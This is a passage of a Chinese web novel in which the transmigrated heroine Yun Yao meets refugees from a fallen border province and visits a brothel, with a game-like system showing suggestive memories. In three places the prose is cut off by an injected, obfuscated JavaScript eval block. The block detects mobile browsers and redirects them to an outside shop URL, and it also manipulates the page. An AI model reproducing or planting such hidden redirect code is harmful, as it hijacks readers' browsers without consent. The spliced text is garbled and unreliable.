……到底是怎么一回事？ “噢，我三年前不慎落水，前些日子才醒来。醒来就失忆了，所以，现在看什么都新鲜。” 云曜不打算说出真实原因，索性搬出自己的“失忆”借口。 “失忆？！” 嬴若水惊诧开口，大嗓门喊得震天响。 云曜鼓膜一炸。 “嘘，嘘，”她食指抵在唇边，做了个“噤声”的手势，“其实也没什么，只是……” 话音未落，身旁突然传来一道苍老喑哑的人声。 “这位娘子，行行好，给我家囡囡一点吃的吧。小女孩不顶饿，已经两天没吃过饭了。” 云曜转头，看到了衣衫褴褛的一大两小。 老人头发乱糟糟地缠在一起，眼角皱纹横布，一看就知饱经苦难与风霜；两个小孩面黄肌瘦、嘴唇失色，眼神中看不出一丁点女子气概，甚至像是畏畏缩缩的小男孩。 “你们……” 她呼吸兀地一滞。 自从来到大曌，云曜还未曾见过如此落魄之人。 没等她做出反应，嬴若水先开了口：“老人家，你应当不是青州人吧？听口音，像是北边过来的。” 老人苦笑一声：“娘子好眼力，我与我孙女的确来自极北朔州。” 在她身旁，一个女孩点点头。 另一个孩子则无动于衷，黑漆漆的眼睛只盯着云曜看，像是看到了什么世界上最稀奇的事物。 此时，这边的动静，也引起了茶肆其他客人的关注。 “朔州？是近年来一直在打仗的朔州么？”有人插嘴道。 “是，”老人咽了口唾沫，声音干涩得要命，“咳咳咳……” 云曜望着她干瘪似树皮的唇瓣，转头对茶肆内喊：“店家，再上三壶温茶！还有什么吃的，尽管端上来。” “得嘞——” 很快，小二便端上三壶茶水，三个茶碗，几碟花生米跟糕点。 老人感激地看向云曜：“多谢娘子，多谢娘子！”她又拉扯身边最近的小女孩，“囡囡，快对善人道谢呀。” 那个被她拉着的小孩也跟着开口：“多谢娘子！” 另一个盯着云曜猛看的小孩却没有说话，只提起一只茶壶，掀开壶盖便是一阵牛饮。猛灌几口后，又抓起一碟花生米，狼吞虎咽往嘴里倒。 “孩子真是饿得紧了吧。” “唉……” 客人们七嘴八舌，有人问：“你们为何自朔州来到青州？” 老人没回答，小心翼翼地捧起一个茶壶，颤颤巍巍把茶水倒到碗中，一口气灌了下去。 而后，她又打开随身携带的一个破葫芦，将壶里剩下的茶水倒了进去。 做完这些后，她才抬起头，麻木地叹了一口气。 “诸位娘子不知道么？” “朔州在半月前，已经沦陷了。” * 此言一出，茶肆为之一静，每个人面上都露出惊疑之色。 ——除了云曜。 她面上一片茫然：“？？？” 朔州？ 这是哪里？ 她连忙紧急呼叫系统：“她们说的朔州，在原书中出现过吗？” 系统很快作出了回答：【出现过。而且，你不久前也看到了。】 “我看到过……？” 云曜陷入沉思。 “怎么可能？你这老妪编得也忒离谱！” 在她身边，只见嬴若水一拍桌子，声调抬高：“跟外族蛮子打了那么多年，怎会一夕之间沦丧？那是大将军拼死护下的朔州！是数十万巾帼驻扎的地方！” 老人苦涩一笑。 “数十万边境巾帼又如何？半月前，一纸圣旨传来，要士兵民众全部解甲投戈，乖乖迎外族入关。” “那边早已变成人间炼狱。伏尸百万，流血千里；饿殍遍野，易子而食。我跟我家囡囡，是拼死才跑出来的。” 这话石破天惊，画面感极强，令茶肆众人都坐立难安起来。 “圣旨？！” 嬴若水眼睛瞪得像铜铃，惊得前言不搭后语：“不，可是，圣上她怎会，朔州、朔州可是最后一道关卡，一旦外族踏破——” 由于嬴若水嗓门很大，云曜鼓膜又是一炸。 但此时，她也顾不得叫停。因为她终于想起，自己究竟是在哪里看见过“朔州”。 “系统，我想起来了！该不会，是原书第二卷末尾提到的边境……？” 云曜还记得，在观看原书内容时，最后提到嬴若水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13679299|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临危受命，奔赴边境抵御外族。 那边境的名字，似乎正是“朔州”。 “可是……不对，有哪里不太对，”很快，她又自己否定了自己，“现在的时间线，比起原书是耽搁了些，可书中嬴若水回盛京后，也是过了一段时间才受命奔赴边境。” 那时的边境，远远未到“沦陷”的程度。 究竟是怎么回事？ 想到这里，云曜灵光一现，脑海忽然浮现出一个猜测。 除非…… 有某种外力，在背后推波助澜。 系统沉默片刻，语气变得异常严肃。 【你想的没错，宿主。恐怕背后，就是真实人生系统跟它的宿主在干预。】 【看来，剧情又在我们不知道的地方……】 【偏离正轨了。】 * 傍晚时分，天色极美。 有缎子般的云霞在天边编织，温柔壮丽，调和出世间丹青无论如何也画不出的色彩。 只是，暖融融的余晖落在人身上，却让人遍体生寒。 在去满春楼的路上，云曜转头，看到嬴若水分外冷峻的脸色，无声叹一口气。 “若水……” 刚开口，便被嬴若水打断。 “我想不通啊，小曜！我实在是想不通，”嬴若水罕见地打断了她，痛苦道，“圣上、圣上她怎会把朔州拱手让人？” 她竹筒倒豆子一般，说了一长串话。 “不瞒你说，其我小时候从未想过成为一名文绉绉的女君。其实，我自小便极爱舞刀弄枪，梦想是有朝一日，像年少成名的嬴少卓将军一样，保卫大曌！为此，我娘没少念叨我，说‘将军的下场可算不得善终，若水，你得想清楚’。” “只因后来遇到了师尊——对了，我还没跟你说过，我师尊可不是学宫的女君，而是一位神秘姥姥——她劝我向学，让我先长头脑，才能用头脑驾驭一身肌肉，为国效力。我听了她的话，这才拼尽全力进了学宫。” “可是、可是……” 说到这里，嬴若水无力地蹲下身子，双手抱头，声音闷闷的。 “我的力量，怎会这样渺小……我、我，唉。为何无人去救朔州，救下朔州的将士民众？” 云曜默默听着她的话语，心中也五味杂陈。 她非大曌本地土著，也不了解朔州。 但今日所见，那老人与小孩的惨状，令人心有余悸，能从中窥得对方口中的“人间炼狱”。 现在想来，前些日子沈令仪紧急回京，是否也会跟这件事有关？ 想到这里，云曜心情急转而下。 “他爹的，什么狗屁皇帝，人命关天的节骨眼还敢乱传圣旨，做得了就做，做不了不如从位子上滚蛋。” 她轻声嘀咕。 毕竟是来自后世的现代人，云曜可对皇权没什么敬畏之心。 但这话落在嬴若水耳中，便是一道惊雷。 惊得她直接从地上跳了起来。 “你疯了？！可不能这么说，”嬴若水一下子捂住云曜的嘴，紧张道，“圣上一脉可是娲神在人世间的化身，是至善至纯的存在。” “哈？” 云曜在暗地里翻了个白眼。 还“娲神化身”。 这种话骗骗三岁小孩得了，怎么可能骗得过她？ “妄议圣上是会被治罪的！郡衙就在此地不远处，若是有官姥姥听到，就算你是云氏女，只要被抓住，花再多金银也保不住……” 接下来，嬴若水还絮絮叨叨了许多。 云曜嘴上敷衍“是是是”“好好好”，实则一个字都没往心里去。 骂就骂了。 天高皇帝远，那皇帝姥儿远在盛京，能奈她何？ 只是，云曜不知道的是： 在她离开此地后，一个她今天刚见过的小孩，突然从隔壁空荡荡的小巷里探出了头。 ——正是那名一开始猛盯着云曜看，后来只顾狼吞虎咽吃喝，从头到尾都没出声的孩子。 身形枯瘦的孩童凝望着她离开的背影，眼神中满是空洞，声音也变得格外缥缈。 “欸？” “奇怪啊。真是奇怪。” 如果有人听到这声音，一定会分外惊讶：因为，这竟不是众人以为的小女孩。 而是个年纪不小的侏儒男子。 “到底是谁？” 他歪了歪头，目光执着地紧追着云曜的背影，若有所思。 “——居然有个从来没见过的女人，在原书女主身边出现了。要赶快回去禀报主人才行。” 34. 第 34 章 等云曜二人来到满春楼，已是半刻钟后。 深秋时节，天色黑得极快，仅仅一会儿的工夫，夕阳便下了山，收回白日最后一丝光热。 不过，此时此地的满春楼，其光热更甚于炽阳。 夜幕已然降临，矗立在街角的满春楼却灯火辉煌，宛如白昼。举目抬头，甚至不见高悬的月亮星辰：处处挂满红绡，满眼皆是灯彩，像是天上的星河染成红色，倒映在人间。 无需细嗅，都能闻到各色浮动的香气，迷得人头晕眼花。仿佛在空气中流淌着的，是某种极香甜的蜜酿。 有曲艺精湛的乐师端坐于亭台楼阁之上，指拨琴弦，弹奏出靡靡小调。 【哇——】 云曜耳旁，系统不自觉发出了惊呼。 人流如织。有打扮精致出众的儿郎站在门口，笑盈盈地跟熟客打招呼。 “娘子，里面请！” “怎么今日才来？王郎可是苦等您许久了。” “今日还玩六博么？啊，我刚从颜哥哥那里借来了白玉骰子，不如换成双陆吧！” 丝竹声、交谈声、嬉笑声，汇聚成一条有生命般的带子，直直往人耳朵里钻。 “哎呀，这不是云女君么？” 突然间，有一个身着轻罗小褂、腰肢如杨柳的儿郎发现了云曜。 他模样清秀，动作熟稔，没一会儿就穿过人群来到云曜面前。 “玉公子特意嘱咐我，让我在此地静候你。我还以为，今晚会有一阵好等呢，”他眼波流转，勾起嘴角，“嘻嘻，没想到云女君这么早就来了。是不是很想见我家公子？” 云曜盯着他端详片刻，觉得他颇为眼熟：原来，这正是今早给玉绮罗撑伞的那名男小厮。 “我要去哪里赎玉佩？” 她没心情跟对方谈笑，只静静问了句。 “玉佩……”小厮一愣，“女君不打算先问问，我们家公子去哪里了？” 云曜反问：“跟我有何干系？” 小厮听到了意料之外的话语，面上显得有些为难。 “这、这，公子说了，如果云女君问起来，就说他在……” 云曜打断了他：“我不在意他去哪儿了。说重点，玉佩在哪里？” “可是，公子他……” “真是听不下去，你们男儿家家最是絮叨，别在这里扯有的没的。” 旁侧，嬴若水不耐烦地打断了他：“快点交代，玉佩跟湛儿在哪里！” “——！” 那小厮被吓得一哆嗦，视线移到嬴若水身上。 在看清她的长相时，他眼神中的惊恐，迅速转换成了困惑。 “湛、湛儿……？不对，敢问这位女君，你又是哪位？”他说着，从宽大的袍袖里抽出一叠画纸，比着画纸上的图像细细端详嬴若水的模样，“今晚‘折花季’，宾客明明都是固定的。” 云曜“噢？”了声，不动声色问：“宾客固定？” “是啊，都在这上面了。喏，这是云女君。” 小厮很快从中抽出一张画纸，展示给云曜看——如他所言，上面所画之人正是云曜。 云曜望着画像，忽然想起，之前见到玉绮罗时，发动的特征效果不是[顶级白月光]，而是[入画]。 怪不得。 玉绮罗并不是第一次见她，是因为，对方早就见过她的画像。 画中的云曜，与现实中的她约莫有六七分相似，考虑到古代墨画多为写意，能达到这种程度的相像，已是颇为不易。画中，她穿着一袭白色鹤纹襕衫，十分眼熟，像是之前拜师沈令仪时所穿。 不知对方是怎么得到这副画的？ 在云曜陷入深思时，一旁的嬴若水有了动作。 “哈？给我看看，”她一把夺过剩下的画纸，从前到后翻了个遍，“里面为什么没有我？” 在她的大力之下，男小厮根本无从还手，猝不及防往前一趔趄。 他眼神惊恐，小脸煞白。 “女君，求求你，快还给我，”他想去跟嬴若水争夺，却又根本扯不动，“这里面可都是祥符郡的贵客，若是画像有失，公子不会放过我的！” “贵客……？” 小厮因为手中画卷被抢，明显慌乱起来。 “因为今晚‘折花季’除了卖些儿郎喜欢的物什，还要拍卖好几位儿郎的初.夜权。我家公子早就说了，有资格到场的，可都是本地有头有脸的——” 话音未落，一道带笑的慵懒男声在后方响起。 “今儿秋乏得紧。刚睡不久，便被一阵闹声惊醒，真是败兴。” “芍药，这是怎么一回事？” * “公、公子——！” 那男声极有辨识度，一听就知道是玉绮罗。 云曜朝声音方位望去，本以为会看到一个更大胆放肆的形象。 没想到，来人却穿戴整整齐齐，看上去与良家夫男无异： 一身月白竹边长袍，因用了上好的料子而不见一丝褶皱，盘扣对襟、衣袂飘飘。衣领规规矩矩地拉到喉结处，在遮住男子敏.感部位的同时，恰到好处地勾勒出流畅的下颌线。 那双含情脉脉的桃花眼，在衣装的衬托下，竟显得雅正清素起来。不过再定睛一看，这人耳朵仍挂了个鲜红招摇的血玉耳坠，流露出一种风情摇曳的倒错感。 总的来说，与今早看到的绯红纱衣相比，简直是极与极。 云曜暗暗思忖：没想到这公狐狸今天竟摇身一变，从红狐狸变成小白狐了。 “云小女君，夜安。怎么这么直勾勾看我？真是羞人。” 玉绮罗注意到云曜的打量，唇角浅浅勾起。 他嘴上说“害羞”，行动却一点都不青涩慌张，还施施然行了个礼。 “儿郎在外总要想办法撑撑面子，托你的福，这身衣服还是在祥云绸缎庄订做的。”他笑着说。 一听自家的名号，云曜恍然大悟。再看这衣服时，又有了不一样的角度。 活该自家能赚钱！ 乍看都是素丝，细看全是心思。 纵使衣服从头遮到脚，也遮不住玉绮罗那窄腰紧臀的好身材——正是此地男儿最爱的那类纯欲心机款。 云曜想：都说人靠衣装马靠鞍，这衣服一上身，连狐狸都能掩去身上的一身骚，再浪荡轻浮的男儿都能从良。真不愧是自家产业。 见她一直盯着自己，玉绮罗脸上笑意更浓。 “云小女君，好看么？”语气揶揄。 “嗯，好看。” 云曜点头。 似是没想到她会承认，玉绮罗眼神中闪过一丝意外。 “你，当真觉得我好看？”他眉头拧起，嗔怪一句，“先前见面，你不是还说我‘只是个青楼伎子’么。我还以为，自己在你眼中，连根草都不是。” 云曜眨眨眼，不置可否：“噢，我是指的衣服。在祥云绸缎庄做的这身衣服还是很好看的。” 人虽然长得也不错，但她还是更爱看他先前那身裸.露的装束。 ——像这样的男人，露大胸才是好文明！ 别人不清楚云曜内心的想法，只能听到她的话语：衣服好看。换句话就是，人没有那么好看。 听到这话，玉绮罗身旁的男小厮脸色遽然一变。他连忙垂下眼帘，用余光去觑玉绮罗的脸色。 糟糕…… 玉公子平日格外看重外表相貌，自诩“满春楼第一美男子”。 这还是他第一次被人——还是本该最爱惜他容颜的女人——当众驳斥了面子。 一时间鸦雀无声。只能听到周围其她客人的谈笑声，与充作背景音的乐曲小调。 然而，玉绮罗定定地看了云曜一会儿，突然噗嗤一笑。 他看上去没生气，甚至，眼角眉梢还浮现出素衣也压不住的糜艳之色。 “唉，你啊你，从这张嘴中，真是讨不到巧。若换成别的儿郎，恐怕能被你活生生气死。” 玉绮罗眼波流转，其中闪过一丝不易察觉的欣赏之色。 “也幸亏……你遇上的是我。” 没等她回话，他又话锋一转：“对了，方才芍药他说了什么？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703260|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果有得罪，我先给你赔个不是。” 旁边的男小厮，便是他口中的“芍药”。 听玉绮罗点自己的名字，小厮迅速反应过来，面上显露出歉意。 “公子说的是。如有得罪，还希望女君们看在我是个男人的份上，多多包容。只是，今晚‘折花季’早就定下规矩，只能放云女君进去，还请旁边的这位女郎见谅。” 闻言，嬴若水“哈？”了声，双目圆睁。 “不让我进去，我怎么去见湛儿！” 眼见她要动怒，玉绮罗轻轻抬了下手：“这位女郎，息怒。”转头又对芍药说，“芍药，你说得不对，我哪里不让人进了？” 芍药愣住：“欸？可、可是……” “好了，你先带这位女郎从南边进去，不用管我跟云小女君。”玉绮罗言笑晏晏，向前踏出一步，忽然抚上了云曜的手。 “这边就由我亲自带你进去，可好？”他凑近云曜，低声说。 冰凉干燥的手感，混合着他身上那股说不出来的异香，冲击着云曜的感官。 不过，更冲击她的还是—— 滴！ 【新的人际网络[满春楼]已解锁。】 【当前为模拟人生系统2.0版本，已为宿主开启[详细接触]模式。】 在跟玉绮罗肢体接触的瞬间，伴随着系统的提示音，一帧帧颇为香艳的画面在她眼前出现。 满春楼内，白花花的肉.体，女人跟男人带着或沉醉或极乐的神情，在她眼前翻滚。 【你提升了[房中术]技能。当前等级：2级。】 【你提升了[房中术]技能。当前等级：3级。】 【你提升了[房中术]技能……】 提示音足足响到5级才停下。 云曜：“！！” 有什么东西过去了？！？ 正震惊时，这些激烈场景如镜中花水中月般消散，最终，画面定格在一名衣着华丽但年老色衰的男人身上。 在他身旁，怯生生地跟着一个漂亮的小男孩。 从眉目来看，正是小时候的玉绮罗。 男人说：“绮罗，你是我两年前亲自从人牙子那里挑来的，你叫我一声‘爹爹’，我也一直拿你当亲儿子看。跟我这两年，我怜惜你机灵又伶俐，从没让你接过客。” 玉绮罗拼命点头。 “我一辈子记挂着爹的好！” 男人叹一口气：“可惜，没个当家女人撑着，这满春楼总有一日要散。” “世上女人大多爱干净，不管嘴上怎么遮掩，心里都嫌楼里儿郎脏。我只盼你不用受我受过的冷眼，也幸好你身子完整，等你接任楼主，保护好贞.操再攒几年钱，就把这楼卖了，隐姓埋名去寻个老实女人安生过日子吧。” “……卖了满春楼？”玉绮罗愣住。 “你一介儿郎，又是生得极漂亮的儿郎，总不能跟个女人一样一辈子干这个吧？况且，你这孩子聪明，寻常小事我不担心你，只是有时聪明反被聪明误，像我，这一辈子就栽在这上面了。” 男人痴痴看着满春楼前人来人往，神色哀戚，像是在茫茫人海中找寻着什么。 “世人皆称，伎子薄情，但要我说，恩客才最是薄情。干我们这行最忌爱上客人，你可别重蹈我的覆辙。” 他沉沉叹一口气，一字一顿。 “爹爹……”玉绮罗若有所感，“你的话，儿子记住了。” 男人又说：“还有，我这一生看过太多花言巧语的女人，也见过太多被女人骗的男人。” “我方才说的老实女人已是中上之选，但是，若你竟十分幸运，能遇到那种——” 再往后，便听不清他们的对话，也看不清玉绮罗的模样。 只剩下那个被他叫做“爹爹”的男人，在跟不同女人做运动的画面。 云曜猝不及防，眼前闪过一大堆“口口口”图像。从激烈程度看，完全是先前的升级Plus版本。 “啊啊啊啊！这是在干什么！” 救命。 眼睛要瞎掉了！ 35. 第 35 章 伎子越老，玩得越花。 饶是[房中术]已经升到了5级，眼前的种种离谱影像也还是吓得云曜往后一跳。 她用力甩开了玉绮罗的手，惊疑不定。 “系统！这姿势是现实里能出现的吗？！” 有些都不是香艳，而称得上香辣，再进一步就要变成惊悚了！ 【你不该问我，宿主。因为你的[房中术]技能已经达到了5级，在这个领域，你才是大师。】 5级，是技能的分水岭。 技能一旦达到5级，便象征着：人在这一领域内的知识能力，已经超越了九成的普通人。 云曜：“……” 唯有这一次，她不太想超越这么多人呃啊—— 正纠结时，一道幽幽的叹息在耳边传来。 “果真嫌弃我到这种程度？连装都不肯装一下么。” 云曜回过神来，看着眼前神情莫测的男人：嬴若水跟芍药不知什么时候已经离开，只剩下她和玉绮罗二人面面相觑。 她发现，这是玉绮罗第一次在她面前收敛笑意。 视线下移，能看到他白皙的手腕上出现一丝红痕，那是被自己甩开时留下的痕迹。 注意到她的目光后，玉绮罗默默用另一只手握住手腕，遮盖住那处痕迹。在他垂下头时，有一缕柔顺青丝随着动作散落在耳边，显得脆弱又无助。 “……我不脏的，不会碰一下就玷污女君，”他默然片刻，小声说，“我只是想带你进门。” 声音酸楚，就算极力保持镇定，也透出一股子儿郎家特有的委屈。 “咳咳，我知道。” 对着这只弱柳扶风的美貌公狐狸，再看着他手上被自己用力甩开留下的红痕，云曜轻咳几声，态度温和了一些。 “你放心，我不是嫌弃你，只是有点被吓到了，”她含糊地说，“总之我们先进去吧。” 玉绮罗狐疑地看她一眼：“当真不是嫌我？” “嗯，当真。” 不是嫌他，是嫌看到的画面太脏——糟糕，不能再细想！再想就又要污染大脑了。 为了中断思绪，她双手撑住太阳穴，极其用力地揉了揉。 “你……” 注意到云曜面上又开始风云变幻，玉绮罗紧抿嘴唇，眼神暗了暗。 她明明是嫌弃自己。 伤心么？ 应当是吧。 自己明知道青楼儿郎的身份低贱卑微，但为什么，在被云曜避若蛇蝎时…… 会这样痛苦？ * 玉绮罗不动声色地抚上胸口，只觉得此处冰冷无比，仿佛结了一层厚厚的冰。 “我早知是这样。”他喃喃道。 自见到云曜第一眼起，他就知道，她跟旁人不同。 整个祥符郡的核心圈层，近日都因“远鹤女君”沈令仪的到来而轰动。听闻沈令仪收了徒儿，许多人很好奇：那位沈大人所收的徒儿，会是什么样的女郎？ 玉绮罗也不例外。 只是，脑海中有过好奇，却没想过真的去见她。 未曾想过世事弄人，那么多人想见都都见不到的云曜，他却能在当铺偶遇：现在想来，或许也是一种命运。 是娲神怜他一个儿郎苦苦在尘世挣扎，特意赐下的命运。 ——“哎呀，什么青楼伎子？” ——“云小娘子这话说的，无情无义，真叫人听了伤心。” 初见云曜，他发现，这位女君的气度，果真如传说一般，高华如鹤、亭亭玉立。正如她师尊为她赐的字“玉镜”，如天上皎皎明月，高不可攀。 不过，最让玉绮罗感到触动的，是她的目光。 眸子沉沉，如寒谷深潭一般通透，仿佛能看透人心。 面对他的示好，她只冷冷地说了句。 ——“我不认识你这样的男人。” 从未有人敢当面说他坏话，别的女人爱他、馋他、敬他：爱的是他的皮囊，馋的是他的身子，敬的是他的满春楼。 因此，当那双沉静的眸子投向自己时，玉绮罗心头不受控制地一跳，有种被无形的手扼住咽喉的感觉，心中掀起滔天巨浪。 仿佛在她眼中，看到的是他这个人的本质，而不是他的其他光环。 仅仅是一个通达正直的大女人…… 透过他放浪形骸的皮囊，看到了一个逞强脆弱的小男人啊。 * 脑海心思百转千回，再抬头时，玉绮罗又恢复了先前那笑吟吟的模样。 “表情怎么这么严肃？哎呀，我只是跟女君开个玩笑，”他扯起嘴角，语气欢快，“来，今儿专门准备了折花季的宴席，就在大厅里。” 说完，他欲转身离开。 毕竟是惯于戴上假面应酬的青楼老板郎，玉绮罗自认为，他把自己的失落藏得很好。 “——等等。” 没想到，他却被云曜一把拉住衣袖。 玉绮罗一惊，头脑还没反应过来，身体已经顺从地向后倒去。 “保险起见，你让我再看看有没有东西，”云曜嘀咕一声，手掌隔着衣服在他胳膊上来回摸索几下，似乎是在确认什么，“嗯，这次确实没有了，什么都看不到。” 在她堪称粗暴的抚摸下，玉绮罗心脏猛地漏了一拍。 他没听清云曜在说什么，耳畔只有鼓膜“咚咚咚”的跳动声。 一股口干舌燥的热度久违地攀上脸颊，他恍惚想起，上次脸红，恐怕是第一次偷窥到爹爹跟女人相处之时。 自己分明见过比这出格得多的东西。 可是，怎么还会为云曜的这一举动而心跳不已？ 云曜不知他心中在想些什么。在确认自己不会再看到那些惊世骇俗的画面后，她便松开了手。 “没事了，带路吧。”她长舒一口气。 没办法，还是得再确认一下才妥当。这公狐狸虽然还是个处子，阅历却极为丰富。 万一下次再在他身上看到不该看的，自己怕不是要当场自戳双目。 这时系统出声，消除了她的隐忧：【宿主，在系统更新后，只有第一次跟人发生肢体接触，才会闪回对方的重要记忆片段。】 “也就是说，之后不会再发生这种事了？” 【嗯。对象是他的话，就不会了。】 “那就好。”她大大地送了一口气。 她视线落在玉绮罗身上，看到男人垂下头，那月白素衣下的伟岸胸脯起起伏伏，似是心绪极为不稳。 “你怎么了？快点带路吧。”她催促道。 不管玉绮罗为何心潮波动，反正自己的心已经稳稳落回原位了。 “好，云女君你——不，玉镜娘子，我知道了。” 玉绮罗脸颊微红，伸手将一缕青丝别在耳后，羞涩地笑了笑，一双桃花眼中满是迷蒙的水雾。 见状，云曜心里一咯噔。 怎么回事？ 在大曌，女人叫女人什么都无所谓，儿郎对女人的称呼却是别有一番讲究。 “女君”多是正派又客套的说法，女为上、君为上，凸显尊敬之意；“娘子”则要亲近一些，不少已婚妻夫中的男方都会称女方“娘子”。因而，为了恪守男德，一般男人不会轻易叫女人这个称呼。 而这种扭扭捏捏的小儿郎情态…… 她似乎，最近刚在另一个男人身上见到过。 没等她反应过来，玉绮罗迅速转过身，语气重又变得慵懒：“跟我来吧，玉镜娘子。我这就带你去折花宴。” “好。” 在云曜看不到的地方，他脸颊泛着绮丽的淡红，嫩白如葱的右手指尖微微颤抖。 “……这样没关系吧。” 玉绮罗低声对自己说。 犹豫了好一会儿，他才如获至宝般，小心翼翼地隔着衣袖…… 悄悄抚上了她曾摸过的地方。 “你说了什么？我没听清。”身后传来云曜疑惑的声音。 他慌忙放开手：“没、没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723644|140262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么。” 此后，一路无话。 两人一前一后，穿过红绡重叠下的曲折回廊，略过人声鼎沸的主楼，来到一处占地极广的一层别院。 “这便是折花宴的地方了。因为来的都是贵客，所以特意选了僻静些的地方。” 玉绮罗说完，推门而入。 刹那间—— 一阵香风袭面，无端让人联想到销金窟、温柔乡。 再定睛一看，厅内金碧辉煌，灯烛明亮，低矮的几案与铺在地上的软垫呈“回”字型排列，已有不少女客在席间入座，间或有打扮清凉的伎子倡优在人群中穿梭，衣摆飘飘、若隐若现，令人大饱眼福。 云曜脚步一顿。 “怎么了。”玉绮罗柔声问。 “玉佩在哪里？” 云曜环顾四周，只看到正中央临时搭了个空台子，上面铺满新鲜碾下的花瓣跟色泽明艳的绫罗。 除此之外，看不到有什么地方能放玉佩。 玉绮罗沉默片刻，斜睨她一眼，忽然大胆地攀上了她的手臂。 “你这是干——” 云曜下意识想甩开，然而，自手臂处挤过来一阵柔软跟两簇红豆。 哪怕隔着衣服，也能感受到触感很好：有恰到好处的弹性，又带着温热的体温。 不难想象到，在衣物下的身体，会是怎样一具尤物之躯。 【哇……像他这样天生身材好的男人，在大曌可不多见。可以说这具身体，天生就是为女人而生的。】 系统针对他的身材给出了极高的评价。 云曜安稳站在原地，不动声色：“我明白。” 老天奶明鉴，她一直都是正人女君！ 自己可什么都没做，全程是这个男人自己倒贴上来的。 “玉佩，玉佩，你整天只关心玉佩。不知是哪个老相好送你的？” 玉绮罗见云曜没抽出手，又向她靠得紧了一些，几乎把大半个身子倚了过来，身上区别于普通良家夫男的靡靡香气愈发浓艳。 云曜没回答。 ……她毕竟是个女人。 在大曌，真女人在这种时候，就该观察形势。 玉绮罗靠得更近，潋滟桃花眼盯着她，背后不存在的狐狸尾巴甩啊甩。 “对方跟你吵架了，还是对方使性子？怎么你刚卖出去几天，就火急火燎地要赎回去。想必，他一定用了不少手段吧？”尾音上扬，听上去有些微妙。 ……酸酸的。 像是打翻了哪里的醋瓶。 “好了，不能这么污蔑玉佩的主人。” 云曜享受够了——不，观察够了形势——终于把手臂从他胸前抽出来。 她义正词严：“这是我的好姐妹嬴若水的玉佩。管住你的嘴，不许你再多揣测。” 听到“好姐妹”三个字，玉绮罗面上一喜。 “哎呀，是我多嘴，该打，”他掩去眸中悦色，玩笑般掌了自己几嘴，“以后绝不会再说了。” 云曜：“所以，那枚玉佩的确在这里？” “嗯。” 得到肯定的答复，她松了一口气：只要能在今晚拿到玉佩就好。云曜环视一遍大厅，不知为何并未看到嬴若水那高大的身影。 “若水呢？你刚刚不是派小厮送她进来了？” 玉绮罗一怔，眯起眼笑了笑，带了些讨好之意：“若水……是跟你一起来的那位女君吧。玉镜娘子见谅，我让芍药带她去旁边的主楼了。” 闻言，云曜蹙起眉头。 没等她开口说什么，玉绮罗抬手指了指厅内的女客，语速放缓。 “只有真正的贵客才能进来，等我为娘子你引荐一下。” “郡里跟县里的官姥姥来了不少。祥符郡总巡检吴女君、北岳县主簿刘女君、功曹陈女君，还有……” 最后，从他嘴里，吐出一个令云曜颇为震惊的名号。 “——今年郡试的主考官，王女君。” “她们都在这里。” 36. 第 36 章 今年郡试，主考官……？ 云曜顺着玉绮罗手指的方向看去，映入眼帘的是一个身着鸦青色缎袍的胖女人。 从她所站的入口位置看不清主考官的长相，只能看到对方圆润有福相的下颌。 系统反应很快，在她脑子里惊呼：【宿主，这不就是你现在最需要的吗？你一定要想办法跟她搭上线！】 [平步青云]的人生抱负，要求她在来年三月的郡试上，取得榜首的好成绩。 “嗯，我明白。” 云曜深深地看了主考官一眼。 这段时间，自己正发愁要如何寻找郡试的突破口。 如今，一条出乎意料的道路摆在眼前：若是能结识主考官，想必会是未来极大的助力。 要怎么做才好？ 宴席人来人往，觥筹交错，气氛极为热烈。 满春楼的酒，跟当初云曜喝过的绿蚁酒不同，是动真格的烈酒，偶尔有儿郎不小心将盛满酒的杯盏碰落，浓醇酒香便在空气中弥漫开来，身处其中之人仅仅呼吸几口，都能有三分醉意。 在酒精的催化下，每个人的说话声音都比平时高了几度。 “菖蒲，再给我满上！今晚不醉不归。” ——这是喝得醉醺醺的熟客。 “娘子怎么一直往其他哥哥的方向看？明明我特意找游医要了补身的方子，今晚还想……” ——这是使劲浑身解数讨好熟客的伎子。 身处这样一群糊涂人里，云曜却更清醒了几分。 她可不是来这里享乐的。 本来就有拿回玉佩的重要任务，事到如今，还要想办法跟主考官攀交情。或许对她人而言，今晚最大的烦恼就是点哪个儿郎作伴寻欢；可对云曜而言，这是个不容有失的夜晚。 想到这里，她余光扫了眼身旁攀着自己的玉绮罗，电光火石间闪过一个念头。 这个青楼的老板郎，似乎可以好好利用一番。 “系统，如果我跟这个男人接触，他应该不会像陆丹若那样，吵着闹着要嫁给我当夫郎吧？”她在脑海内问系统。 